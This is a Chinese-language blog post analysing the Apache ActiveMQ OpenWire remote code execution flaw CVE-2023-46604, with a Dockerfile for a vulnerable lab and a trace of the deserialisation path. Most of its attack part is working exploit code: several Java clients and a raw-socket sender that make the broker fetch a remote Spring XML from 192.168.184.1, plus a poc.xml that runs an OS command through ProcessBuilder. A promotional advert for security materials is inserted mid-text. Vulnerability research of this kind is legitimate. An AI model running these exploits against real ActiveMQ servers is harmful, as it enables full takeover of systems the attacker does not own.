Apache ActiveMQ 遠程代碼執行漏洞分析

漏洞簡介

Apache ActiveMQ官方發佈新版本,修復了一個遠程代碼執行漏洞(CNVD-2023-69477  CVE-2023-46604),攻擊者可構造惡意請求通過Apache ActiveMQ的61616端口發送惡意數據導致遠程代碼執行,從而完全控制Apache ActiveMQ服務器。

影響版本

Apache ActiveMQ 5.18.0 before 5.18.3
Apache ActiveMQ 5.17.0 before 5.17.6
Apache ActiveMQ 5.16.0 before 5.16.7
Apache ActiveMQ before 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16

環境搭建

沒有找到合適的 docker 鏡像 ,嘗試自己進行編寫

可以站在巨人的肩膀上進行編寫利用 利用項目 https://github.com/zer0yu/dfimage 分析鏡像的dockerfile

docker pull islandora/activemq:2.0.7
dfimage islandora/activemq:2.0.7

image

結合 https://activemq.apache.org/version-5-getting-started

image

Dockerfile

FROM ubuntu
#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN apt-get update -y
RUN apt-get install wget -y
RUN apt install openjdk-11-jre-headless -y
COPY apache-activemq-5.18.2-bin.tar.gz  /
#RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz 
RUN chmod 755 /apache-activemq-5.18.2/bin/activemq
RUN echo  '#!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null' > start.sh
RUN chmod +x start.sh
EXPOSE 8161 61616
​
CMD ["/start.sh"]
​
​
## 默認啓動後 8161 的管理端口僅能通過 127.0.0.1 本地地址進行訪問 可以通過修改 /conf/jetty.xml 

docker-compose.yml

version: "2.2"
services:
  activemq:
    build: .
    ports:
      - "8161:8161"
      - "61616:61616"

image

./activemq start
./activemq status
./activemq console
netstat -tuln | grep 8161
netstat -tuln | grep 61616

漏洞分析

下載源代碼 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip

開啓調試只需要修改 apache-activemq-5.18.2\bin\activemq

image

https://github.com/apache/activemq/compare/activemq-5.18.2..activemq-5.18.3

image

image

新版本的修復位置是在

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable

image

ClassName 和 message 可控,代表着可以調用任意類的 String 構造方法,AvtiveMQ 內置 Spring,結合 org.springframework.context.support.ClassPathXmlApplicationContext​ 加載遠程配置文件實現 SPEL 表達式注入。

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

尋找調用該方法的位置

image

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable

image

繼續向上尋找調用

image

網上大部分都選用了 ExceptionResponseMarshaller​ 我們也基於此進行分析

org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal

image

​繼續向上尋找調用

image

org.apache.activemq.openwire.OpenWireFormat#doUnmarshal

image

我們看到此時 dsm 的值是基於傳入的 dis.readByte();

image

<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>
​
ActiveMQ中默認的消息協議就是openwire

‍編寫一個 ActiveMQ 的通信請求

 public static void sendToActiveMQ() throws Exception {
        /*
         * 創建連接工廠,由 ActiveMQ 實現。構造方法參數
         * userName 用戶名
         * password 密碼
         * brokerURL 訪問 ActiveMQ 服務的路徑地址,結構爲: 協議名://主機地址:端口號
         */
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616");
        //創建連接對象
        Connection connection = connectionFactory.createConnection();
        //啓動連接
        connection.start();
        /*
         * 創建會話,參數含義:
         * 1.transacted - 是否使用事務
         * 2.acknowledgeMode - 消息確認機制,可選機制爲:
         *  1)Session.AUTO_ACKNOWLEDGE - 自動確認消息
         *  2)Session.CLIENT_ACKNOWLEDGE - 客戶端確認消息機制
         *  3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客戶端確認消息機制
         */
        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        //創建目的地,也就是隊列名
        Destination destination = session.createQueue("q_test");
        //創建消息生成者,該生成者與目的地綁定
        MessageProducer mProducer = session.createProducer(destination);
        //創建消息
        Message message = session.createTextMessage("Hello, ActiveMQ");
        //發送消息
        mProducer.send(message);
        connection.close();
    }

image

前面的調用棧爲

doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:290, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:829, Thread (java.lang)

此時 datatype 爲 1 調用的是 WireFormatInfoMarshaller 我們要想辦法調用 datatype 爲 31 的 ExceptionResponseMarshaller

花式觸發 ExceptionResponseMarshaller

現在我們的目的就是爲了去調用 ExceptionResponseMarshaller

尋找觸發 ActiveMQ 中的 ExceptionResponse

image

函數 org.apache.activemq.ActiveMQSession#asyncSendPacket​ 和

函數 org.apache.activemq.ActiveMQSession#syncSendPacket​ 都可以發送 command

最後會調用到 org.apache.activemq.transport.tcp.TcpTransport#oneway​ 也可以通過 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);​ 和 ((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);​來觸發

image

    public static void ExceptionResponseExploit() throws Exception {
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
        Connection connection = connectionFactory.createConnection("admin","admin");
        connection.start();
        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        ExceptionResponse expetionResponse = new ExceptionResponse();
        expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
        ExploitSession.syncSendPacket(expetionResponse);
        //ExploitSession.asyncSendPacket(expetionResponse);
        //((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);
        //((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);
        connection.close();
​
    }

image

由於 ExceptionResponse​ 實例化的時候必須傳入 Throwable​ 類型,但是 ClassPathXmlApplicationContext​ 不是該類型,所以需要 修改 ClassPathXmlApplicationContext​ 繼承 Throwable​ 。添加如下代碼

package org.springframework.context.support;
​
public class ClassPathXmlApplicationContext extends Throwable{
    public ClassPathXmlApplicationContext(String message) {
        super(message);
    }
}

相同的方法可以運用在 ConnectionErrorMarshaller 和 MessageAckMarshaller

   public static void ConnectionErrorExploit() throws Exception {
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
        Connection connection = connectionFactory.createConnection("admin","admin");
        connection.start();
        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        ConnectionError connectionError = new ConnectionError();
        connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
        //ExploitSession.syncSendPacket(connectionError);
        //ExploitSession.asyncSendPacket(connectionError);
        ((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);
        connection.close();
​
    }
    public static void MessageAckExploit() throws Exception {
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
        Connection connection = connectionFactory.createConnection("admin","admin");
        connection.start();
        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        MessageAck messageAck  = new MessageAck();
        messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
        ExploitSession.syncSendPacket(messageAck);
        //ExploitSession.asyncSendPacket(messageAck);
        //((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);
        connection.close();
​
    }

‍通過數據流進行觸發 ExceptionResponseMarshaller

‍主要是依據 ActiveMQ的協議 去觸發 ExceptionResponseMarshaller

        String ip = "127.0.0.1";
        int port = 61616;
        String pocxml= "http://192.168.184.1:9090/poc.xml";
        Socket sck = new Socket(ip, port);
        OutputStream os = sck.getOutputStream();
        DataOutputStream out = new DataOutputStream(os);
        out.writeInt(0); //
        out.writeByte(31); //dataType ExceptionResponseMarshaller
        out.writeInt(1); //CommandId
        out.writeBoolean(true); //ResponseRequired
        out.writeInt(1); //CorrelationId
        out.writeBoolean(true);
        //use true -> red utf-8 string
        out.writeBoolean(true);
        out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
        //use true -> red utf-8 string
        out.writeBoolean(true);
        out.writeUTF(pocxml);
        //call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce
        out.close();
        os.close();
        sck.close();

‍通過僞造類實現觸發 ExceptionResponse

‍我們看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand

image

利用 wireFormat.unmarshal​ 來對數據進行處理 所以我們找到相對應的 wireFormat.marshal

org.apache.activemq.transport.tcp.TcpTransport#oneway

image

通過本地新建 org.apache.activemq.transport.tcp.TcpTransport​ 類重寫對應邏輯,運行時優先觸發本地的 TcpTransport 類

 /**
     * A one way asynchronous send
     */
    @Override
    public void oneway(Object command) throws IOException {
        checkStarted();
        Throwable obj = new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml");
        ExceptionResponse response = new ExceptionResponse(obj);
        wireFormat.marshal(response, dataOut);
        dataOut.flush();
    }
​

將發送的請求無論是什麼數據都修改爲 觸發 ExceptionResponseMarshaller ,同樣也因爲 ExceptionResponse​ 實例化的時候必須傳入 Throwable​ 類型,但是 ClassPathXmlApplicationContext​ 不是該類型,所以需要 修改 ClassPathXmlApplicationContext​ 繼承 Throwable​ 。必須添加如下代碼

package org.springframework.context.support;
​
public class ClassPathXmlApplicationContext extends Throwable{
    public ClassPathXmlApplicationContext(String message) {
        super(message);
    }
}

‍poc.xml

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>touch</value>
                <value>/tmp/1.txt</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

‍漏洞復現

7

更多網安技能的在線實操練習,請點擊這裏>>

‍  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章